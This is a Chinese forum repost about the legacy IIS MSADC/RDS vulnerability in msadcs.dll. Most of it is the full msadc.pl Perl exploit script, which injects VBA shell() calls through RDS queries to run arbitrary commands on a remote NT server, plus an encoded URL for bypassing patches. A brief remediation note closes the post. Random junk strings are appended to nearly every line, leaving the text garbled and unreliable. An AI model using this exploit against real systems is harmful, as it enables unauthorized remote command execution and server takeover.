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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) f$|v0Xs  
(zDk68=v  
涉及程序: Su$1 t  
Microsoft NT server G?d,$NMo|  
b ]&zDo|8  
描述: ?mR[A`J58  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $jh>zf  
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详细: EJ ~k Z3  
如果你没有时间读详细内容的话,就删除: Q9xx/tUW  
c:\Program Files\Common Files\System\Msadc\msadcs.dll )$h9Y   
有关的安全问题就没有了。 XJ~l5} y ]  
3t{leuO'  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 PbHh?iH  
 M .`  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 K!c@aD:#  
关于利用ODBC远程漏洞的描述,请参看: |kNGpwpI  
ls7A5 <  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm U.7y8#qf3R  
[ky6E*dV`  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 {3(.c, q@  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z;~[@7`  
9Y%?)t.2  
这里不再论述。 E5BgQ5'  
'b?.\Bm;  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: |z]2KjF&w-  
Cm;qDvj+u  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ,Zf!KQw  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! J-\?,4mcP  
RL Zf{Q>  
lJzy)ne  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ^%%5  
>-@ U_p  
#!perl CCh8?sM  
# 5J+V:Xu{  
# MSADC/RDS 'usage' (aka exploit) script YATdGLTeq  
# {I-a;XBX  
# by rain.forest.puppy k gu[!hD1  
# nlebFDb7  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me C{hcK 1-K  
# beta test and find errors! M 1^C8cz  
soq".+Q  
use Socket; use Getopt::Std; %L13Jsw  
getopts("e:vd:h:XR", \%args); l \^nC2  
<VaMUm<2  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; %|(?!w7  
i`KZ,   
if (!defined $args{h} && !defined $args{R}) { IbJ[Og^Qyu  
print qq~  4SffP/  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -yAnn  
-h <host> = host you want to scan (ip or domain) fEw=I7{Y  
-d <seconds> = delay between calls, default 1 second ^'[@M'`~L  
-X = dump Index Server path table, if available R,+/A8[j  
-v = verbose L=HVdeE  
-e = external dictionary file for step 5 |^PLZ>  
sjzXJ`s  
Or a -R will resume a command session Sn0gTsZ  
0)oN[  
~; exit;} l/ rZcf8z  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Lubs{-5lk  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} *Cnq2=A]A  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ^5 ^}MB%  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Y <Znv%M  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 5M Wvu,'%8  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1n`1o-&l-  
.^LL9{?  
if (!defined $args{R}){ $ret = &has_msadc; q^N0abzgP  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1U7,X6=~  
(eRKR2% q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" WR a+zii,  
. "cmd /c "; Itr7lv'5xx  
$in=<STDIN>; chomp $in; {x|kg;  
$command="cmd /c " . $in ; E./__Mz@  
'>e79f-O)  
if (defined $args{R}) {&load; exit;} P*SCHe'  
zvGK6qCk  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; TsX+. i'  
&try_btcustmr; 9PKoNd^e  
H9~%#&fF  
print "\nStep 2: Trying to make our own DSN..."; #A3v]'7B  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ~n/Aq*  
2>$F0 M  
print "\nStep 3: Trying known DSNs..."; XD^ dlL  
&known_dsn; _;e!ZZLG  
*t.q m5h  
print "\nStep 4: Trying known .mdbs..."; whY~=lizn  
&known_mdb; 7V} ]C>G  
$,KP]~?  
if (defined $args{e}){ w#xeua|*I#  
print "\nStep 5: Trying dictionary of DSN names..."; 7<3U?]0  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ~ThVap[*  
7?MB8tJ5r4  
print "Sorry Charley...maybe next time?\n"; zkh hN"bX  
exit; sOl>5:D6  
oSn! "<x  
############################################################################## g8I!E$  
*qPdZ   
sub sendraw { # ripped and modded from whisker hD_5~d  
sleep($delay); # it's a DoS on the server! At least on mine... JY2/YDJ  
my ($pstr)=@_; CZyz;Jtk  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || n5v'  
die("Socket problems\n"); D1X4|Q*SK  
if(connect(S,pack "SnA4x8",2,80,$target)){ 0iJ!K;A2%  
select(S); $|=1; =naR{pI  
print $pstr; my @in=<S>; NfTCp A  
select(STDOUT); close(S); gMs+?SNHAh  
return @in; '%SR.JL  
} else { die("Can't connect...\n"); }} CGC-"A/W  
pcy<2UV  
############################################################################## 4mN].X[,  
X*!Dc,0.k  
sub make_header { # make the HTTP request w; 4jx(  
my $msadc=<<EOT iiX\it$s  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 V uG?B{  
User-Agent: ACTIVEDATA :K~rvv\L7  
Host: $ip OJP5k/U$  
Content-Length: $clen T- |9o|~z  
Connection: Keep-Alive gB>imr#e&  
MzQ\rg_B7  
ADCClientVersion:01.06 #wenX$UTh3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 UvxSMD:A  
qKdS7SoS  
--!ADM!ROX!YOUR!WORLD! N0Efw$u  
Content-Type: application/x-varg 38c?^  
Content-Length: $reqlen J7BFk ?=  
ryxYcEM0  
EOT |h&<_9  
; $msadc=~s/\n/\r\n/g; "l@A[@R  
return $msadc;} qoj^_s6  
/!3ZWXY\  
############################################################################## D|d4:;7  
B<|VeU  
sub make_req { # make the RDS request mC i[Ps  
my ($switch, $p1, $p2)=@_; .u1X+P7  
my $req=""; my $t1, $t2, $query, $dsn; Y[Q @WdE9  
_1^8xFe2  
if ($switch==1){ # this is the btcustmr.mdb query $. %L  
$query="Select * from Customers where City=" . make_shell(); LY]nl3{E  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . kE/`n],1U  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} z % x7fe  
&<,SV^w ag  
elsif ($switch==2){ # this is general make table query l~bKBz  
$query="create table AZZ (B int, C varchar(10))"; J yj0Gco  
$dsn="$p1";} g(/{.%\k  
[X,A'Q  
elsif ($switch==3){ # this is general exploit table query AR%hf  
$query="select * from AZZ where C=" . make_shell(); /+V Iw`E  
$dsn="$p1";} CjZZm^O  
R?cUy8?'S  
elsif ($switch==4){ # attempt to hork file info from index server w *50ZS;N  
$query="select path from scope()"; i S%  
$dsn="Provider=MSIDXS;";} bGv* -;*  
'p%= <0vrr  
elsif ($switch==5){ # bad query ZJ;LD*  
$query="select"; =/FF1jQ  
$dsn="$p1";}  gH %y  
qmZ2d!)o  
$t1= make_unicode($query); o+nG3kRD  
$t2= make_unicode($dsn); 3bC+Mco  
$req = "\x02\x00\x03\x00"; ><;Q@u5~  
$req.= "\x08\x00" . pack ("S1", length($t1)); kt^yj"C>  
$req.= "\x00\x00" . $t1 ; D+Cm<ZT~  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5h0>!0  
$req.= "\x00\x00" . $t2 ; 5m4DS:&  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !(Krf  
return $req;} b"``D ?  
KP3n^ $~  
############################################################################## x97L6!  
W9Nmx3ve  
sub make_shell { # this makes the shell() statement JqEW= 5  
return "'|shell(\"$command\")|'";} 9)+@0fG)  
-G9|n#zCU  
############################################################################## ]q{ PDZ   
6vto++  
sub make_unicode { # quick little function to convert to unicode AUfS-  
my ($in)=@_; my $out; #EbGL])F}  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } s5l3V2k  
return $out;} c-kA^z{f  
j{"z4Y4  
############################################################################## +$47v$p  
{`% hgR  
sub rdo_success { # checks for RDO return success (this is kludge) 5IW8=$k~.)  
my (@in) = @_; my $base=content_start(@in); *8bK')W  
if($in[$base]=~/multipart\/mixed/){ .NJ|p=fy  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 9Bz0MUbrLl  
return 0;} <l$P&jSF3  
Vtb1[cnna  
############################################################################## n`(~O O  
{Oj7  
sub make_dsn { # this makes a DSN for us |uI?ySF  
my @drives=("c","d","e","f"); #;[Bl=3(  
print "\nMaking DSN: "; @%1IkvJV  
foreach $drive (@drives) { G?`-]FMO  
print "$drive: "; ;+ azeW ^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 0VN7/=n|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" DG(%-w8p"  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 2j&v;dmh<  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; m@jge)O&D  
return 0 if $2 eq "404"; # not found/doesn't exist F8<"AI  
if($2 eq "200") {  G2`${aMS  
foreach $line (@results) { hQRL,?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} \M{[f=6llh  
} return 0;} @w\I qr  
3e%nA8?  
############################################################################## NjX[;e-u  
2Il8f  
sub verify_exists { PU1,DU  
my ($page)=@_; h[kU<mU"T  
my @results=sendraw("GET $page HTTP/1.0\n\n"); _X4!xbP  
return $results[0];} b9~A-Z  
3`*Kav>"  
############################################################################## Q&CElx?L  
h7]EB!D\A  
sub try_btcustmr { wpXgPVZT  
my @drives=("c","d","e","f"); ,:)`+v<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1!1!PA9u  
ZF6c{~D  
foreach $dir (@dirs) { Ipe n  
print "$dir -> "; # fun status so you can see progress DkDoA;m  
foreach $drive (@drives) { k?*KnfVh!  
print "$drive: "; # ditto l30Y8t~d  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; UMU2^$\iS  
$reqlenlen=length( "$reqlen" ); +bA%  
$clen= 206 + $reqlenlen + $reqlen; J0Z7 l  
3BdX  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); _c`K+o"3  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} <YB9Ac~}z  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} (YPi&w~S  
a~PK pw2%  
############################################################################## ;f1qLI  
xb:&(6\F  
sub odbc_error { os4{0Mxu  
my (@in)=@_; my $base; u5B:^.:p  
my $base = content_start(@in); Ag9?C*  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this OGOND,/R?/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]y#3@  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _,haD)1g~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }!p`1]gem  
return $in[$base+4].$in[$base+5].$in[$base+6];} -]srp;=i  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; u0 QzLi,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . <lE?,jl  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} XJ1=m   
LzML%J62  
############################################################################## CrC =A=e  
dY(;]sxFr  
sub verbose { Qkcjr]#^$  
my ($in)=@_; YJ_\Ns+Ow  
return if !$verbose; zmI]cD@G  
print STDOUT "\n$in\n";} ^7^N}x@  
!cSq+eD  
############################################################################## 'n;OB4  
)G~w[~  
sub save { Ts.wh>`  
my ($p1, $p2, $p3, $p4)=@_; 8|6 4R:  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; A1 "SLFY  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; EV pi^>M  
close OUT;} 6$\jAd|  
_8,()t'"  
############################################################################## |`TgX@,#9  
m_+sR!\H8  
sub load { UCW V2Mu  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ag-f{UsTy  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); H@bf'guA|B  
@p=<IN>; close(IN); c;?fMX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); f>`dF?^6  
$target= inet_aton($ip) || die("inet_aton problems"); 1y#D?R=E  
print "Resuming to $ip ..."; N@ \&1I`c$  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; EU7|,>a  
if($p[1]==1) { V!v:]E  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; #J (~_%Wi  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; JN+_|`  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); jhu07HX_  
if (rdo_success(@results)){print "Success!\n";} kQ1w5mCh  
else { print "failed\n"; verbose(odbc_error(@results));}} ^9Qy/Er'  
elsif ($p[1]==3){ =X\^J  
if(run_query("$p[3]")){ >/[GTqi  
print "Success!\n";} else { print "failed\n"; }} ApBWuXp|u  
elsif ($p[1]==4){ AIMSX]m  
if(run_query($drvst . "$p[3]")){ R^?/' dr  
print "Success!\n"; } else { print "failed\n"; }} Ar*^ ;/  
exit;} |L2SFB?d=  
b 5yW_Ozdh  
############################################################################## ;OqB5qd  
W-NDBP:  
sub create_table { MZ+^-@X  
my ($in)=@_; ls@i".[  
$reqlen=length( make_req(2,$in,"") ) - 28; 8>hwK)av  
$reqlenlen=length( "$reqlen" ); }\J2?Et{  
$clen= 206 + $reqlenlen + $reqlen; V|(H|9  
my @results=sendraw(make_header() . make_req(2,$in,"")); [ ol9|sdu  
return 1 if rdo_success(@results); kuyjnSo9i  
my $temp= odbc_error(@results); verbose($temp); jC bV,0)^  
return 1 if $temp=~/Table 'AZZ' already exists/; y@0E[/O  
return 0;} BauU{:Sh  
C8 \5A8c  
############################################################################## DL$@?.?I  
:#@= B]  
sub known_dsn { 7}M2bH} \K  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go PDs@?nz,  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", $Y69@s%f  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ;)N>t\v  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); '>r7V  
EoK~S\dS  
foreach $dSn (@dsns) { 94B\5I}  
print "."; hzkcP  
next if (!is_access("DSN=$dSn")); UQ{L{H   
if(create_table("DSN=$dSn")){ ggJO:$?$L  
print "$dSn successful\n"; *S2ypzwRZ,  
if(run_query("DSN=$dSn")){ O,Cb"{qH8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { nBk)WX&[K  
print "Something's borked. Use verbose next time\n";}}} print "\n";} u\C lP#  
` ,SiA-3*  
############################################################################## H\TI[JPAl  
v`M3eh@$A  
sub is_access { dKdj`wB  
my ($in)=@_; d_IAs  
$reqlen=length( make_req(5,$in,"") ) - 28; &mb{.=  
$reqlenlen=length( "$reqlen" ); Y "/]|'p  
$clen= 206 + $reqlenlen + $reqlen; ,7<f9 EVY  
my @results=sendraw(make_header() . make_req(5,$in,"")); "'D=,*  
my $temp= odbc_error(@results); +HBd %1  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 8F'x=lIO  
return 0;} s&RVJX>Rt  
6Vz9?puD  
############################################################################## ."9];)2rx  
B)0i:"q  
sub run_query { {{QELfH2  
my ($in)=@_; O#F4WWF  
$reqlen=length( make_req(3,$in,"") ) - 28; j KoG7HH  
$reqlenlen=length( "$reqlen" ); V$ ps>  
$clen= 206 + $reqlenlen + $reqlen; +0OLc2 )w  
my @results=sendraw(make_header() . make_req(3,$in,"")); tCdqh-   
return 1 if rdo_success(@results); c@893<_  
my $temp= odbc_error(@results); verbose($temp); MdvcnaCG  
return 0;} K*~0"F>"0  
cXKjrL[b  
############################################################################## p,eTY[k?  
/pT =0=  
sub known_mdb { B]Thn  
my @drives=("c","d","e","f","g"); Q\ 0cvmU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #3gp6*R  
my $dir, $drive, $mdb; 1,% R;7J=g  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; XCBL}pNkR  
g"}%2~Urf  
# this is sparse, because I don't know of many A<??T[  
my @sysmdbs=( "\\catroot\\icatalog.mdb", iv4H#rJ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "thdPZ  
"\\system32\\certmdb.mdb", Fvbh\m ~  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 4rLL[??  
]@phF _  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", S[J}UpV  
"\\cfusion\\cfapps\\forums\\forums_.mdb", _no*k?o *  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", MB]<Dyj,  
"\\cfusion\\cfapps\\security\\realm_.mdb", 8|\8O@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", a6uJYhS~  
"\\cfusion\\database\\cfexamples.mdb", xCc[#0R{  
"\\cfusion\\database\\cfsnippets.mdb", fTK3,s1=  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 0 eDHu  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", m)'=G%y  
"\\cfusion\\brighttiger\\database\\cleam.mdb", $w`=z<2yo1  
"\\cfusion\\database\\smpolicy.mdb", =`H@%  
"\\cfusion\\database\cypress.mdb", 'F9jq  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", tM'P m   
"\\website\\cgi-win\\dbsample.mdb", =Jyu4j *}  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",  &7K?w~  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }khV'6"'|  
); #these are just ~ v|>xqWV  
foreach $drive (@drives) { `u&Rsz&^  
foreach $dir (@dirs){ @U& QI*  
foreach $mdb (@sysmdbs) { #Up86(Z  
print "."; Al} B34.uh  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Yp^rR }N  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +[\FD; >  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ a6)BqlJ  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; GkQpELO:  
} else { print "Something's borked. Use verbose next time\n"; }}}}} huh6t !  
b?tB(if!I  
foreach $drive (@drives) { klT@cO-9  
foreach $mdb (@mdbs) { 7%x[q}  
print "."; ~d|A!S`  
if(create_table($drv . $drive . $dir . $mdb)){ m8d!< h  
print "\n" . $drive . $dir . $mdb . " successful\n"; Bf~vA4  
if(run_query($drv . $drive . $dir . $mdb)){ i#vYyVr[  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; gc-@"wI?  
} else { print "Something's borked. Use verbose next time\n"; }}}} G}b]w~ML ~  
} Lh!J >  
YUtC.TR1  
############################################################################## RC7]'4o  
4NheWM6  
sub hork_idx { UCB/=k^m  
print "\nAttempting to dump Index Server tables...\n"; Qp_isU  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Bg x'9p/  
$reqlen=length( make_req(4,"","") ) - 28; \Je0CD=e`  
$reqlenlen=length( "$reqlen" ); 1W^t aJH]  
$clen= 206 + $reqlenlen + $reqlen; Krqtf  
my @results=sendraw2(make_header() . make_req(4,"","")); .6+Z^,3  
if (rdo_success(@results)){ =5~jx  
my $max=@results; my $c; my %d; FQ<Ju.  
for($c=19; $c<$max; $c++){ [+n*~  
$results[$c]=~s/\x00//g; 4.[^\N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; &8Cu#^3  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; mwHB(7YS,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; < $lCkSx<Q  
$d{"$1$2"}="";} YNKHN2E8  
foreach $c (keys %d){ print "$c\n"; } chM%]|gey  
} else {print "Index server doesn't seem to be installed.\n"; }} &^}1O:8e  
a|t$l=|DD  
############################################################################## XDOY`N^L  
96( v  
sub dsn_dict { `{3<{wgw  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); L*xhGoC=  
while(<IN>){ ?PeJlpYzV  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; zPn+ V7F  
next if (!is_access("DSN=$dSn")); "O3tq =Q  
if(create_table("DSN=$dSn")){ vWz m @  
print "$dSn successful\n"; ` Mjj@[  
if(run_query("DSN=$dSn")){ /R]U}o^/(%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { CkOz  
print "Something's borked. Use verbose next time\n";}}} c|e~BQdRw  
print "\n"; close(IN);} $p#Bi-&  
AG`L64B  
############################################################################## bnf'4PAt  
/?5 1D@  
sub sendraw2 { # ripped and modded from whisker +Vb.lH[av  
sleep($delay); # it's a DoS on the server! At least on mine... LDgrR[  
my ($pstr)=@_; naG=Pq<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?+@n3]`0  
die("Socket problems\n"); Lb:g4A"  
if(connect(S,pack "SnA4x8",2,80,$target)){ qeVfE_<  
print "Connected. Getting data"; @ym v< Mo  
open(OUT,">raw.out"); my @in; QwW&\h[8?  
select(S); $|=1; print $pstr; Y,<{vLEC  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ]7W&JKmA&  
close(OUT); select(STDOUT); close(S); return @in; _{I3i:f9X8  
} else { die("Can't connect...\n"); }} DE}K~}sbd  
+\d56j+D  
############################################################################## t<.)Z-Ii  
n{n52][J]  
sub content_start { # this will take in the server headers dk[!V1x4\  
my (@in)=@_; my $c; yj 3cyLXw  
for ($c=1;$c<500;$c++) { 5d Eh7XL  
if($in[$c] =~/^\x0d\x0a/){ SYAyk  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Pr':51(  
else { return $c+1; }}} Q{sH3Y#l  
return -1;} # it should never get here actually deBY5|  
wN_Vfb  
############################################################################## MU@UfB|;u  
44ek IV+?  
sub funky { W9 GxXPA  
my (@in)=@_; my $error=odbc_error(@in); gX@HO|.t  
if($error=~/ADO could not find the specified provider/){ >?2M }TV3  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; h5*JkRm  
exit;} ysQ_[ ]/  
if($error=~/A Handler is required/){ RIWxs Zt  
print "\nServer has custom handler filters (they most likely are patched)\n"; ugdQAg  
exit;} vOn`/5-  
if($error=~/specified Handler has denied Access/){ .F98G/s  
print "\nServer has custom handler filters (they most likely are patched)\n"; TV)h`\|Z*  
exit;}} M'7f O3&|  
M8MR oA6F  
############################################################################## u@W|gLT1  
!`Fxa4i>  
sub has_msadc { *'Sd/%8{  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); n,vct<&z@  
my $base=content_start(@results); xK *b1CB  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Qf~vZtJ+J  
return 0;} ~Z\8UsVN  
^cOUQ33  
######################## sJB;3"~  
bkOv2tZ  
Q3kdlxXR  
解决方案: gh/EU/~d  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^n*)7K[  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 v,FU^f-'  
]J1dtN=  
拿出来充数 哈哈
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